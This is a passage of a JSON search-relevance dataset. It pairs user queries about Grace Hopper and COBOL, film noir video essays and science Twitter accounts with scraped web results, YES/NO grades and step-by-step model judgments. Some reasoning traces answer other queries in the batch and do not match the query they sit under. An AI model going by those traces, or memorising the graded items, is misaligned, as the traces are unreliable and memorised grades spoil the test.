                "text": "Eunice Newton Foote Passport description of Foote in 1862 Born Eunice Newton July 17, 1819 Goshen, Connecticut, U.S. Died September 30, 1888 (aged 69) Lenox, Massachusetts, U.S. Resting place Green-Wood Cemetery, Brooklyn, New York City Education Troy Female Seminary Known for Theory of the effect of carbon dioxide gas on atmospheric temperature Spouse Elisha Foote \n \u200b \u200b (m. ; died ) \u200b Children Mary Augusta Signature \n Eunice Newton Foote (July 17, 1819 \u2013 September 30, 1888) was an American scientist, inventor, and women's rights campaigner. She was the first scientist to conclude that certain gases warmed when exposed to sunlight, and that rising carbon dioxide (CO2) levels would change atmospheric temperature and could affect climate. Born in Connecticut, Foote was raised in New York at the center of social and political movements of her day, such as the abolition of slavery, anti-alcohol activism, and women's rights. She attended the Troy Female Seminary and the Rensselaer School from age seventeen to nineteen, gaining a broad education in scientific theory and practice.\n After marrying attorney Elisha Foote in 1841, Foote settled in Seneca Falls, New York. She was a signatory to the Declaration of Sentiments and one of the editors of the proceedings of the 1848 Seneca Falls Convention, the first gathering to treat women's rights as its sole focus. In 1856 she published a paper notable for demonstrating the absorption of heat by CO2 and water vapor and hypothesizing that changing amounts of CO2 in the atmosphere would alter the climate. It was the first known publication in a scientific journal by an American woman in the field of physics. She published a second paper in 1857, on static electricity in atmospheric gases. Although she was not a member of the American Association for the Advancement of Science, both her papers were read at the organization's annual conferences\u2014these were the only papers in the field of physics to be written by an American woman until 1889. She went on to patent several inventions",
                "model_trace": "Query Decomposition:\n1. {female computer scientist}: The document is about Eunice Newton Foote, who was a scientist, but not specifically a computer scientist -> ([1], UNSATISFIED)\n2. {significant contributions to early programming languages, particularly COBOL}: The document does not mention any contributions to programming languages or COBOL -> ([1], UNSATISFIED)\n3. {known for her no-nonsense attitude and signature accessory}: The document does not mention any specific attitude or accessory -> ([0], UNSURE)\n4. {served in the Navy during World War II and continued her military career}: The document does not mention any military service or World War II involvement -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents related to the query. NO."
            },
            {
                "grade": "NO",
                "title": "Caroline Haslett - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Caroline_Haslett",
                "published_date": "2007-03-22",
                "text": "From Wikipedia, the free encyclopedia\n\nDame Caroline Haslett DBE Caroline Haslett c.1924, when she became director of the Electrical Association for Women Born Caroline Harriet Haslett 17 August 1895 Worth, Sussex, England Died 4 January 1957 (aged 61) Bungay, Suffolk , England Nationality English Occupation(s) Electrical engineer; business woman; educator Known for Feminism; electrifying the home to liberate women from domestic drudgery. She was the leading professional woman of her age. Title Dame Commander of the Order of the British Empire \n Dame Caroline Harriet Haslett DBE, JP (17 August 1895 \u2013 4 January 1957) was an English electrical engineer, electricity industry administrator and champion of women's rights. [1] [2] \n She was the first secretary of the Women's Engineering Society and the founder and editor of its journal, The Woman Engineer. [3] She was co-founder, alongside Laura Annie Willson and with the support of Margaret, Lady Moir, of the Electrical Association for Women, which pioneered such 'wonders', as they were described in contemporary magazines, [4] [5] as the All-Electric House in Bristol in 1935. She became the first director of the Electrical Association for Women in 1925. Her chief interest was in harnessing the benefits of electrical power to emancipate women from household chores, so that they could pursue their own ambitions outside the home. [6] In the early 1920s, few houses had electric light or heating, let alone electrical appliances; the National Grid was not yet in existence.\n\n'Way is being made by electricity for a higher order of women \u2013 women set free from drudgery, who have time for reflection; for self-respect. We are coming to an age when the spiritual and higher state of life will have freer development, and this is only possible when women are liberated from soul-destroying drudgery ... I want [every woman] to have leisure to acquaint herself more profoundly with the topics of the day.' \u2014 Caroline Haslett [7] \nEarly life[edit]\nBorn in Worth (now part of Crawley, West S",
                "model_trace": "Query Decomposition:\n1. {female computer scientist}: The document is about Caroline Haslett, an electrical engineer and not specifically a computer scientist -> ([1], UNSATISFIED)\n2. {significant contributions to early programming languages, particularly COBOL}: The document does not mention contributions to programming languages or COBOL -> ([0], UNSURE)\n3. {known for her no-nonsense attitude and signature accessory}: The document does not mention any signature accessory or no-nonsense attitude -> ([0], UNSURE)\n4. {served in the Navy during World War II}: The document does not mention military service -> ([0], UNSURE)\n5. {continued her military career alongside her work in computer science}: The document does not mention a military career or work in computer science -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {female computer scientist}, which is UNSATISFIED. The document does not provide information about a female computer scientist who contributed to early programming languages or served in the Navy. Therefore, it does not meet the user's query requirements. NO."
            },
            {
                "grade": "YES",
                "title": "Biography of Grace Murray Hopper | Office of the President",
                "url": "https://president.yale.edu/biography-grace-murray-hopper",
                "published_date": null,
                "text": "Grace Brewster Murray Hopper (1906-1992) was a computer pioneer and naval officer. She earned a master\u2019s degree (1930) and a Ph.D. (1934) in mathematics from Yale. Hopper\u00a0is best known for her trailblazing contributions to computer programming, software development, and the design and implementation of programming languages. A maverick and an innovator, she enjoyed long and influential careers in the U.S. Navy and the computer industry. \u00a0\n Early Life and Education \nThe daughter of Walter Fletcher Murray (Yale B.A. 1894, Phi Beta Kappa) and Mary Campbell Van Horne, Grace Brewster Murray was born in 1906 in New York City. Her father owned an insurance company. In 1928, she graduated Phi Beta Kappa from Vassar College with degrees in mathematics and physics. After receiving her master\u2019s degree in mathematics from Yale, Hopper began teaching mathematics at Vassar while pursuing her doctorate. She completed her Ph.D. in mathematics from Yale in 1934. During a one-year sabbatical from Vassar, Hopper studied with the famous mathematician Richard Courant at New York University.\n Service in the Navy \nAfter the bombing of Pearl Harbor and the United States\u2019 entry into World War II, Hopper decided to join the war effort. She was initially rejected because of her age and diminutive size, but she persisted and eventually received a waiver to join the U.S. Naval Reserve (Women\u2019s Reserve). In December 1943, she took a leave of absence from Vassar, where she was an associate professor, and completed sixty days of intensive training at the Midshipmen\u2019s School for Women at Smith College in Northampton, Massachusetts.\nAfter receiving her commission (lieutenant junior grade), Hopper was assigned to the Bureau of Ships Computation Project at Harvard University. There, she joined a team working on the IBM Automatic Sequence Controlled Calculator, better known as the MARK I, the first electromechanical computer in the United States. Under the guidance of Howard Aiken, who had developed the MARK I, Hopper and her colleagues worked on to",
                "model_trace": "Query Decomposition:\n1. {female computer scientist}: The document mentions Grace Brewster Murray Hopper, who is a female computer scientist -> ([1], SATISFIED)\n2. {significant contributions to early programming languages, particularly COBOL}: The document mentions Hopper's trailblazing contributions to computer programming and software development, which includes COBOL -> ([1], SATISFIED)\n3. {known for her no-nonsense attitude and signature accessory}: The document does not mention her attitude or signature accessory -> ([0], UNSURE)\n4. {served in the Navy during World War II and continued her military career}: The document details Hopper's service in the U.S. Navy during World War II and her continued military career -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents that can be evaluated. YES."
            },
            {
                "grade": "YES",
                "title": "Grace Murray Hopper (1906-1992): A legacy of innovation ...",
                "url": "https://news.yale.edu/2017/02/10/grace-murray-hopper-1906-1992-legacy-innovation-and-service",
                "published_date": null,
                "text": "Hopper believed that computers would someday be widely used and helped to make them more user friendly. (Courtesy of the Computer History Museum)   On Feb. 11, President Peter Salovey announced that he and the Yale Corporation had voted to change the name of Calhoun College, one of the university\u2019s undergraduate residential colleges, to honor alumna Grace Murray Hopper. Grace Brewster Murray Hopper was a computer pioneer and naval officer. Read the story. Here is a look at Hopper\u2019s life and legacy.  Grace Brewster Murray Hopper was a computer pioneer and naval officer. She received a master\u2019s degree (1930) and a Ph.D. (1934) in mathematics from Yale. One of the first three modern \u201cprogrammers,\u201d Hopper is best known for her trailblazing contributions to the development of computer languages. Known as irreverent, sharp-tongued, and brilliant, she enjoyed long and influential careers in both the U.S. Navy and the private sector. \u00a0 The daughter of Walter Fletcher Murray (Yale B.A. 1894, Phi Beta Kappa) and Mary Campbell Van Horne, Grace Brewster Murray was born in 1906 in New York City. Her father owned an insurance company. She was educated in private schools, and the family summered in Wolfeboro, New Hampshire. In 1928 she graduated Phi Beta Kappa from Vassar College with degrees in mathematics and physics. In 1930 Hopper received her master\u2019s degree in mathematics from Yale. In 1931 she began teaching mathematics at Vassar while pursuing her doctorate at Yale under computer pioneer Howard Engstrom. In 1934 she completed her Ph.D. in mathematics and mathematical physics from Yale. During a one-year sabbatical from Vassar, Hopper studied with the famous mathematician Richard Courant at New York University. Hopper came of age at a time of unusual opportunity for women. A relatively high number of women were receiving doctorates in the 1920s and 1930s \u2014 numbers that would not be matched again until the 1980s.1 World War II also created opportunities for women to enter the workforce in greater numbers. Nonetheless, Hop",
                "model_trace": "Query Decomposition:\n1. {female computer scientist}: The document mentions Grace Murray Hopper, a female computer scientist -> ([1], SATISFIED)\n2. {significant contributions to early programming languages, particularly COBOL}: The document states that Hopper is best known for her trailblazing contributions to the development of computer languages -> ([1], SATISFIED)\n3. {known for her no-nonsense attitude and signature accessory}: The document describes Hopper as irreverent and sharp-tongued, which aligns with a no-nonsense attitude -> ([2], SATISFIED)\n4. {served in the Navy during World War II and continued her military career}: The document mentions Hopper's influential career in the U.S. Navy -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Grace Hopper",
                "url": "https://www.womenshistory.org/education-resources/biographies/grace-hopper",
                "published_date": null,
                "text": "At a very young age Grace Murray Hopper showed an interest in engineering. As a child, she would often take apart household goods and put them back together. Little did her family know, her curiosity would eventually gain her recognition from the highest office in the land. \nHopper was born on December 9, 1906 in New York City. As a child, she attended a preparatory school in New Jersey. Later, she enrolled at Vassar College. After graduating with her bachelor\u2019s degree, Hopper went to Yale University, where she earned her Masters and PhD\u00a0in Mathematics.\u00a0Afterwards she began teaching at Vassar College. \nIn 1943, Hopper resigned her position at Vassar to join the Navy WAVES (Women Accepted for Voluntary Emergency Service). In 1944, she was commissioned as a Lieutenant (Junior Grade) and assigned to the Bureau of Ordnance Computation Project at Harvard University. Her team worked on and produced the Mark I, an early prototype of the electronic computer. Hopper wrote a 500-page Manual of Operations for the Automatic Sequence-Controlled Calculator in which she outlined the fundamental operating principles of computing machines. Additionally, while working on the Mark I, Hopper coined the word \u201cbug\u201d to describe a computer malfunction. \nAfter the end of the war, Hopper became a research fellow on the Harvard faculty and in 1949, joined the Eckert-Mauchly Corporation, continuing her pioneering work on computer technology. Hopper was involved in the creation of UNIVAC, the first all-electronic digital computer. She invented the first computer compiler, a program that translates written instructions into codes that computers read directly. This work led her to co-develop the COBOL, one of the earliest standardized computer languages. COBOL enabled computers to respond to words in addition to numbers. Hopper also lectured widely on computers, giving up to 300 lectures per year. She predicted that computers would one day be small enough to fit on a desk and people who were not professional programmers would use them in their",
                "model_trace": "Query Decomposition:\n1. {female computer scientist}: The document is about Grace Hopper, a female computer scientist -> ([1], SATISFIED)\n2. {significant contributions to early programming languages}: The document mentions Hopper's contributions to the development of COBOL -> ([1], SATISFIED)\n3. {known for her no-nonsense attitude and signature accessory}: The document does not mention her no-nonsense attitude or signature accessory -> ([0], UNSURE)\n4. {served in the Navy during World War II}: The document states that Hopper joined the Navy WAVES in 1943 and served during World War II -> ([1], SATISFIED)\n5. {continued her military career alongside her work in computer science}: The document mentions Hopper's continued involvement in the Navy and her work in computer science post-World War II -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents that can be evaluated. YES."
            }
        ]
    },
    {
        "query": "4. I'm trying to find a video essay that analyzes the themes and symbolism in a classic film noir movie. I think it might have covered a film like The Big Sleep or Double Indemnity. Can you recommend a good video essay on this topic?",
        "grid_pos": [
            2,
            7
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. The movie being described is \"Howl's Moving Castle\".\n\n2. The TV show being described is likely \"Teen Titans\" or \"Young Justice\".\n\n3. A good documentary covering the history and cultural significance of samurai in Japan could be \"The Samurai\" by NHK.\n\n4. A video essay analyzing themes and symbolism in classic film noir movies could be \"The Subversive Genius of Double Indemnity\" by Lessons from the Screenplay.\n\n5. A good instructional cooking video for an authentic Thai curry dish could be \"Massaman Curry | Marion's Kitchen\" on YouTube."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Film Noir \\u0026 The American Dream",
                "url": "https://www.youtube.com/watch?v=h-h1ceF9ToI",
                "published_date": "2018-03-17",
                "text": "In this week's video essay, we take a look at film noir and The American Dream.\nSpoilers from:\nDouble Indemnity\nSunset BLVD\n\nThanks for watching!\nhttps://twitter.com/JackMoviereview\nHelp me subtitle this video\nhttp://www.youtube.com/timedtext_cs_panel?c=UCzpVBvuIfhncmI7JDwBCOyg\\u0026tab=2\n\nSpecial thanks to Christian for Voice Over post processing, check out his channel here:\nhttps://www.youtube.com/channel/UCZOBWhdbR8Z-pOVBsm64t1w\n| view_count: 55,689 views | short_view_count: 55K views | num_likes: 2.2K | num_subscribers: 152K",
                "model_trace": "Query Decomposition:\n1. {video essay}: This document is a video essay on YouTube -> ([1], SATISFIED)\n2. {analyzes the themes and symbolism}: The content description indicates that the video essay takes a look at film noir and The American Dream, which suggests an analysis of themes and symbolism -> ([2], SATISFIED)\n3. {classic film noir movie}: The video essay covers Double Indemnity and Sunset BLVD, both of which are classic film noir movies -> ([1], SATISFIED)\n4. {The Big Sleep or Double Indemnity}: The video essay specifically mentions Double Indemnity -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "Understanding Film Noir",
                "url": "https://www.youtube.com/watch?v=zFkUbDQW1u4",
                "published_date": "2019-10-01",
                "text": "https://www.patreon.com/jeffstillwell\n\nThis educational video essay attempts to define the elusive genre of \u2018Film-Noir,\u2019 while simultaneously examining its origins through the lens of The Great Depression, hard-boiled detective fiction, German expressionist cinema, and other influences.\n\nSPOILERS FOR:\nDouble Indemnity\nMurder My Sweet\nThe Maltese Falcon\n| view_count: 108,582 views | short_view_count: 108K views | num_likes: 3.2K | num_subscribers: 28.5K",
                "model_trace": "Query Decomposition:\n1. {video essay}: The document is a video essay -> ([1], SATISFIED)\n2. {analyzes themes and symbolism}: The document mentions examining the origins and influences of film noir, which likely includes themes and symbolism -> ([2], SATISFIED)\n3. {classic film noir movie}: The document mentions \"Double Indemnity\" and other classic film noir movies -> ([1], SATISFIED)\n4. {The Big Sleep or Double Indemnity}: The document specifically mentions \"Double Indemnity\" -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "NO",
                "title": "Blade Runner \u2014 Constructing a Future Noir",
                "url": "https://www.youtube.com/watch?v=_tbvMzqk3F4&feature=youtu.be",
                "published_date": "2017-09-26",
                "text": "Listen to our podcast episode where we do a deeper dive into Blade Runner: https://apple.co/2XGFhEU\n\nListen to our podcast episode on Blade Runner 2049: https://bit.ly/3i5Qdrf\n\nSupport LFTS: http://patreon.com/LFTScreenplay\nLFTS Merch: https://standard.tv/collections/lfts\nTwitter: http://twitter.com/michaeltuckerla\nInstagram: https://www.instagram.com/michaeltuckerla/\nFacebook: https://www.facebook.com/lessonsfromthescreenplay/\nWebsite: https://www.lessonsfromthescreenplay.com/\n\nThe first 500 people to use this link will get a 2 month free trial of Skillshare: http://skl.sh/lfts\n\nBlade Runner was the first film to take the thematic elements of classic film noir and bring them into a sci-fi, dystopian future. This video analyzes those elements and examines why the private detective of classic film noir is the perfect fit for the world of Blade Runner.\n\nMy neo-noir short film from many years ago: http://bit.ly/imperfectnoir\n\nTranslate this video: http://www.youtube.com/timedtext_video?v=_tbvMzqk3F4\\u0026ref=share\n\nCheck out all the screenwriting books we use as resources: https://kit.co/LFTS/screenwriting-books\n\nBOOKS IN THIS VIDEO\n\u201cA Panorama of American Film Noir (1941-1953)\u201d by Raymond Borde and Etienne Chaumeton: http://amzn.to/2pKIO49\n\nSpecial Features were used from the Blade Runner Blu-ray: https://amzn.to/2CgoSNV\n\nThanks to Sophie Lea for helping with my pronunciation of French names! (I know I still have work to do\u2026): https://www.youtube.com/channel/UCu8HT0fp9xM9IH\\\\_l0S3LWrg\n\nThanks to Diego Rojas for composing original music for this video and this channel! Check out more of his work: https://soundcloud.com/diegorojasguitar\n| view_count: 574,023 views | short_view_count: 574K views | num_likes: 22K | num_subscribers: 1.47",
                "model_trace": "Query Decomposition:\n1. {video essay}: This document is a video essay -> ([1], SATISFIED)\n2. {analyzes the themes and symbolism}: This document analyzes thematic elements of Blade Runner -> ([1], SATISFIED)\n3. {classic film noir movie}: Blade Runner is a neo-noir film, not a classic film noir -> ([1], UNSATISFIED)\n4. {films like The Big Sleep or Double Indemnity}: The document does not cover The Big Sleep or Double Indemnity -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to being a video essay and analyzing themes and symbolism. However, it does not satisfy the subcomponents related to classic film noir movies or specific films like The Big Sleep or Double Indemnity.\n\nNO"
            },
            {
                "grade": "YES",
                "title": "Understanding Film Noir - YouTube",
                "url": "https://www.youtube.com/watch?v=zFkUbDQW1u4",
                "published_date": null,
                "text": "https://www.patreon.com/jeffstillwell\nThis educational video essay attempts to define the elusive genre of \u2018Film-Noir,\u2019 while simultaneously examining its origins through the lens of The Great Depression, hard-boiled detective fiction, German expressionist cinema, and other influences.\nSPOILERS FOR:\nDouble Indemnity\nMurder My Sweet\nThe Maltese Falcon\n| view_count: 108,582 views | short_view_count: 108K views | num_likes: 3.2K | num_subscribers: 28.5K",
                "model_trace": "Query Decomposition:\n1. [video essay]: The document is a YouTube video essay -> ([1], SATISFIED)\n2. [analyzes the themes and symbolism]: The document mentions examining the origins and influences of film noir, which likely includes themes and symbolism -> ([2], SATISFIED)\n3. [classic film noir movie]: The document mentions \"Double Indemnity,\" a classic film noir movie -> ([1], SATISFIED)\n4. [covers a film like The Big Sleep or Double Indemnity]: The document explicitly mentions \"Double Indemnity\" -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "NO",
                "title": "THE ANALYSIS OF FILM NOIR Double Indemnity & Blood Simple ...",
                "url": "https://www.coursehero.com/file/19858485/Film-essay-2-Film-Noir/",
                "published_date": null,
                "text": "Xin Wen  Comparing with the other Film Noir,  Double Indemnity can be called a classical typical Film  Noir. The urban location, an insurance man(murder), an investigator man, and a really bad  but beautiful woman. And the plot is complex, full of love and conspiracy. That\u2019s the most  excellent part of the Film Noir. The Noir protagonist, Walter, is a typical image of the Film  Noir. Morally ambiguous lowlife, ensnared in a web of conspiracy, and can not look back  anymore. \u201cThe femme fatale (French for \u201cdeadly woman\u201d) role cast women as seductive,  autonomous, and deceptive predators who use men for their own means\u201d (Looking at movies,  96) And the femme fatale is also typical, gorgeous, duplicitous, unloving and manipulative.  And she trapped Walter to do her bidding, and she is also the reason why both of them will  died in the end.  \u201cFigure 2.3 Criss Cross: close-up of Anna (Yvonne De Carlo)), frontal, changed angle and  black background for emphasis\u201d (Film Noir,52) I still can not forget the plot that when Walter  is about to kill Phyllis\u2019 husband, it appears an extreme angle from Walter\u2019s bottom to the top.    ||||I||||        AI Document Chat\n        Expert Help\n        Study Resources\n    Log in Join\n                Film essay #2 Film Noir - THE ANALYSIS OF FILM NOIR Double...\n                  Pages 12\n                  Total views 81\n                    * Temple University\n                    * FILM\n                    * FILM 1172\n                    * NateWen\n                    * 2/13/2017\n                    * 100% (2)\n                View full document\n                  Students also studied\n                            371 quiz 2 questions.docx\n                            Solutions Available\n                            Arizona State University\n                            WST 371\n                            test prep\n                            QUIZ 2.docx\n                            Solutions Available\n                            Arizona State University\n                            WST 371\n         ",
                "model_trace": "Query Decomposition:\n1. {video essay}: The query specifically asks for a video essay, but the document is a text-based essay -> ([1], UNSATISFIED)\n2. {analyzes the themes and symbolism in a classic film noir movie}: The document does analyze themes and symbolism in \"Double Indemnity,\" a classic film noir movie -> ([1], SATISFIED)\n3. {covers a film like The Big Sleep or Double Indemnity}: The document covers \"Double Indemnity,\" which matches the query -> ([1], SATISFIED)\n\nAssessment: While the document satisfies the subcomponents related to analyzing themes and symbolism in \"Double Indemnity,\" it does not meet the key requirement of being a video essay. NO."
            },
            {
                "grade": "NO",
                "title": "Fatalism and Futility in Film Noir - Silver Screen Classics",
                "url": "https://silverscreenclassicsblog.wordpress.com/2018/03/27/fatalism-and-futility-in-film-noir/",
                "published_date": null,
                "text": "by Paul Batters \n \n  \u2018Murder\u2019s never perfect. Always comes apart sooner or later, and when two people are involved it\u2019s usually sooner\u2019 \u2013\u00a0Barton Keyes (Edward G. Robinson)\u00a0Double Indemnity\u00a0(1944) \n Film noir was not a specific reaction to the glamour of Hollywood but an organic creation, evolving over time and stemming from a variety of creators. There have been numerous arguments, discussions and essays written about how film noir can be qualified \u2013 whether it is a genre, a style or a combination of both. Perhaps the best approach is to see film noir as R. Barton Palmer describes it \u2013 as being a \u2018transgeneric phenomenon\u2019 as it has existed \u2018through a number of related genres whose most important common threads were a concern with criminality . . . and with social breakdown\u2019. Purists suggest that film noir is a classic period from a specific time frame. Others have suggested that film noir is ever present in cinema or the very least, many of the conventions of noir are. (Yes, I appreciate the irony of using the term \u2018conventions\u2019). \n However, it is beyond dispute that film noir is meant to disorient, challenge and subvert. Our sense of morality, the desire for truth and meaning and especially the very human sense of hope are all on trial in the innermost courtrooms of our minds. It achieves this in numerous ways \u2013 all which stir up powerful emotions in the audience, drawn from our own experiences with the characters. The aim of this essay is not to particularly examine how this is done but to consider what is evoked and examined in film noir \u2013 in particular the elements of fatalism and futility. \n Humanity\u2019s deepest desires are to escape our ultimate fate, find our dreams and realise our greatest hopes. However, as the title suggests film noir does not seek to comfort its\u2019 audience and suggest that dreams can come true. In this dark and non-linear world, cynicism, alienation and despair are dominant. People do good things for the wrong reasons and vice versa. This is a world of insecurity and the people who live i",
                "model_trace": "Query Decomposition:\n1. {video essay}: The document is a written essay, not a video essay -> ([1], UNSATISFIED)\n2. {analyzes the themes and symbolism}: The document does analyze themes and symbolism in film noir -> ([1], SATISFIED)\n3. {classic film noir movie}: The document discusses classic film noir movies, including \"Double Indemnity\" -> ([1], SATISFIED)\n4. {The Big Sleep or Double Indemnity}: The document mentions \"Double Indemnity\" specifically -> ([1], SATISFIED)\n\nAssessment: While the document satisfies the subcomponents related to analyzing themes and symbolism in classic film noir movies, it does not satisfy the requirement for being a video essay. Therefore, the document is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a middle school science teacher and I'm looking for some engaging Twitter accounts that post about cool new discoveries in biology, chemistry, physics, and other STEM fields. I want to find content that I can share with my students to get them excited about science.",
        "grid_pos": [
            2,
            6
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "1. The first query is looking for recent Twitter discussions on the capabilities and limitations of large language models like GPT-3 and PaLM. This requires a good understanding of the current state of AI and language models.\n\n2. The second query is about a new type of renewable energy technology using ocean currents. The user is looking for Twitter discussions on the science and technology behind this.\n\n3. The third query is about the environmental impact of cryptocurrency mining, specifically the energy consumption and carbon footprint. The user wants to find relevant Twitter threads on this topic.\n\n4. The fourth query is the user trying to remember the title of an animated movie they saw as a child, which sounds like \"Howl's Moving Castle\". Providing the answer in the reasoning section.\n\n5. The fifth query is a middle school science teacher looking for engaging Twitter accounts that post about new discoveries in STEM fields, to share with their students."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/wonderofscience",
                "published_date": "2015-03-21",
                "text": "\"The most beautiful thing we can experience is the mysterious. It is the source of all true art and science.\" - Albert Einstein| profile_url: https://linktr.ee/wonderofscience | name: Wonder of Science | created_at: Sat Mar 21 12:29:37 +0000 2015 | favourites_count: 4560 | followers_count: 2329014 | friends_count: 42 | media_count: 1737 | possibly_sensitive: False | verified: False | statuses_count: 2357 | location: \ud83d\ude80 The incredible view during a spacewalk.\n\nFull video on Youtube: https://www.youtube.com/watch?v=74cucrGpQmA&list=PLc4W06G5-v7BDRHoh7n3QkUKUDJmgMO0n#t=12m50s https://twitter.com/wonderofscience/status/1622573323698798593/video/1| created_at: Mon Feb 06 12:30:00 +0000 2023 | favorite_count: 9465 | quote_count: 89 | reply_count: 137 | retweet_count: 1525 | is_quote_status: False | retweeted: False | lang: en Incredible drone footage flying over a volcano and lava flows at night, captured by Iceland Aerials.\nhttps://twitter.com/DubiousByName/status/1560468409078333440/video/1| created_at: Wed Feb 15 12:30:00 +0000 2023 | favorite_count: 6373 | quote_count: 78 | reply_count: 66 | retweet_count: 947 | is_quote_status: False | retweeted: False | lang: en Coronal rain, also known as a post-flare loop, or plasma rain, is created when hot plasma in the Sun's corona is cooled and condensed along strong magnetic fields. This timelapse of the phenomenon was recorded over approximately 9 hours. Read more: https://www.nasa.gov/mission_pages/sdo/news/coronal-rain.html| created_at: Tue Feb 14 15:20:32 +0000 2023 | favorite_count: 407 | quote_count: 2 | reply_count: 2 | retweet_count: 72 | is_quote_status: False | retweeted: False | lang: en Loops of superheated plasma larger than the Earth dancing across the Sun, recorded by the Solar Dynamics Observatory spacecraft.\n\nCredit: SDO/NASA Goddard\nWatch the full 4K widescreen version on Youtube: https://www.youtube.com/watch?v=ht1XsnKo8YA&list=PLc4W06G5-v7BDRHoh7n3QkUKUDJmgMO0n https://twitter.com/wonderofscience/status/1625472426116276225/video/1| created_at: Tue Feb 14",
                "model_trace": "Query Decomposition:\n1. {Engaging Twitter accounts}: The document is about a specific Twitter account, Wonder of Science -> ([1], SATISFIED)\n2. {Posts about cool new discoveries in biology, chemistry, physics, and other STEM fields}: The document content mentions various science topics such as spacewalks, drone footage of volcanoes, and solar phenomena, indicating a broad coverage of STEM fields -> ([1], SATISFIED)\n3. {Content to share with students to get them excited about science}: The document mentions visually engaging content like videos of spacewalks, volcanoes, and solar phenomena, which are likely to be exciting for middle school students -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/engineers_feed",
                "published_date": "2015-08-18",
                "text": "The most fun way to learn something new everyday. Brother page of @stats_feed| profile_url: https://youtube.com/@world_of_engineering | name: World of Engineering | created_at: Tue Aug 18 14:38:54 +0000 2015 | favourites_count: 2597 | followers_count: 3372739 | friends_count: 62 | media_count: 6126 | possibly_sensitive: False | verified: False | statuses_count: 16562 | location: We are doing a scientific research right now and we need your honest answer (for males only): which coordinates do you piss in? https://t.co/kE0XyWNvl3| created_at: Sat Feb 18 09:01:46 +0000 2023 | favorite_count: 61084 | quote_count: 21242 | reply_count: 51489 | retweet_count: 6269 | is_quote_status: False | retweeted: False | lang: en Engineering is magic \u2728\n https://t.co/9dIsOCedep| created_at: Sun Nov 19 04:46:10 +0000 2023 | favorite_count: 128127 | quote_count: 700 | reply_count: 777 | retweet_count: 12044 | is_quote_status: False | retweeted: False | lang: en The side of planet Earth we aren't used to seeing. https://t.co/kZLCkE2P9X| created_at: Sat Nov 18 18:10:56 +0000 2023 | favorite_count: 119612 | quote_count: 3086 | reply_count: 1965 | retweet_count: 8819 | is_quote_status: False | retweeted: False | lang: en Designed 100 years ago.\n https://t.co/cUs1CmTPB3| created_at: Sat Dec 02 05:20:03 +0000 2023 | favorite_count: 118328 | quote_count: 694 | reply_count: 667 | retweet_count: 14844 | is_quote_status: False | retweeted: False | lang: en Daddy made real transformers \ud83e\udd16 \n\ud83d\udcf1https://t.co/1aJlrMcAHB\n https://t.co/oaJEmFvwiD| created_at: Wed Jun 17 05:29:12 +0000 2020 | favorite_count: 105123 | quote_count: 1784 | reply_count: 712 | retweet_count: 18838 | is_quote_status: False | retweeted: False | lang: en Physics fun\n\nhttps://t.co/rtfkAlQeYy| created_at: Mon May 25 18:16:02 +0000 2020 | favorite_count: 96053 | quote_count: 578 | reply_count: 565 | retweet_count: 12106 | is_quote_status: False | retweeted: False | lang: en Intersection without traffic lights \ud83d\udea6 https://t.co/JuFS1ficjB| created_at: Wed Oct 04 06:53:05 +0000 2023 | fa",
                "model_trace": "Query Decomposition:\n1. {Engaging Twitter accounts}: This document is about a Twitter account, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {Posts about cool new discoveries in biology, chemistry, physics, and other STEM fields}: The content mentions engineering and physics but does not explicitly mention biology, chemistry, or other STEM fields -> ([2], UNSURE)\n3. {Content that can be shared with middle school students to get them excited about science}: The content appears to be engaging and fun, which may be suitable for middle school students -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {Engaging Twitter accounts} and {Content that can be shared with middle school students to get them excited about science}. Both of these are satisfied. While the document does not explicitly mention biology or chemistry, it does cover physics and engineering, which are part of STEM fields. Therefore, it can be considered useful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/ScienceAllDay",
                "published_date": "2012-05-18",
                "text": "Amazing scientific content all day everyday.| profile_url: http://allday.com | name: Science | created_at: Fri May 18 22:06:37 +0000 2012 | favourites_count: 12 | followers_count: 118786 | friends_count: 16 | media_count: 1681 | possibly_sensitive: False | verified: False | statuses_count: 2294 | location: Truth https://twitter.com/ScienceAllDay/status/685597356201361408/photo/1| created_at: Fri Jan 08 23:02:02 +0000 2016 | favorite_count: 94 | quote_count: 2 | reply_count: 2 | retweet_count: 41 | is_quote_status: False | retweeted: False | lang: en Have a great day. You're awesome. https://twitter.com/ScienceAllDay/status/685506508746932225/photo/1| created_at: Fri Jan 08 17:01:02 +0000 2016 | favorite_count: 143 | quote_count: 2 | reply_count: 2 | retweet_count: 85 | is_quote_status: False | retweeted: False | lang: en Accurate. https://twitter.com/ScienceAllDay/status/685234219199496192/photo/1| created_at: Thu Jan 07 22:59:03 +0000 2016 | favorite_count: 82 | quote_count: 1 | reply_count: 2 | retweet_count: 32 | is_quote_status: False | retweeted: False | lang: en It's science, duh. https://twitter.com/ScienceAllDay/status/685148394583531521/photo/1| created_at: Thu Jan 07 17:18:01 +0000 2016 | favorite_count: 94 | quote_count: 1 | reply_count: 0 | retweet_count: 54 | is_quote_status: False | retweeted: False | lang: en You matter. 